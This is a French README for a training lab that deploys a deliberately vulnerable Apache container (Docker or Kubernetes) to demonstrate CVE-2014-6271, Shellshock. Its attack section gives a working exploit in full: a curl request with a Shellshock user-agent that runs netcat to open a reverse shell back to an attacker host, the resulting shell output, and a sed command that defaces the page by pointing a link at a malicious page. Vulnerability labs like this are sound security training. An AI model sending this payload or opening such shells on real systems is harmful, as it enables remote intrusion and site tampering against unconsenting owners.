CVE-2014-6271-Apache-Debian

Vue d'ensemble

Ce dépôt est un environnement PoC de CVE-2014-6271.
Vous pouvez déployer un service web vulnérable à l'aide de l'image conteneur apache2.

Préparation

Construction de l'image

Construisez l'image non sécurisée à partir du Dockerfile.

# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/

Déployer le conteneur PoC

Docker

Déployez le conteneur PoC en tant que conteneur Docker.

# docker run -d -p 8080:80 training-website-poc:v1.0

Kubernetes

Déployez le conteneur PoC en tant que pod et service k8s.

# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml

Accéder au service web PoC

Une fois le déploiement terminé, vous pouvez consulter la page web en accédant à l'URL suivante avec un navigateur.
Vous pouvez accéder à l'environnement de laboratoire k8s en cliquant sur le lien "Click!" sous la page web.

Docker

http://<docker host IP>:8080

Kubernetes

http://<k8s service endpoint>:<k8s service port>

Démonstration d'attaque

Dans cette démonstration, vous pouvez modifier la page web depuis l'hôte attaquant (à l'extérieur du conteneur) en exploitant la vulnérabilité de CVE-2014-6271.

Exécutez ces commandes depuis l'hôte attaquant.

Terminal 1

# nc -nvlp 5050

Terminal 2
※Dans ce cas, nous déployons le conteneur PoC avec Docker. Dans le cas de Kubernetes, l'URL doit être http://<k8s service endpoint>:<k8s service port>.

# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable

Après cela, vous pouvez constater que le /bin/bash du conteneur PoC peut être exécuté dans le terminal 1.

Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin

Modifiez le lien "Click!" de la page web.
Dans ce cas, nous utilisons une page factice pour le lien malveillant.

sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html

Accédez à nouveau à la page web et cliquez sur le lien "Click!" sous la page web.

http://<docker host IP>:8080

Références

https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271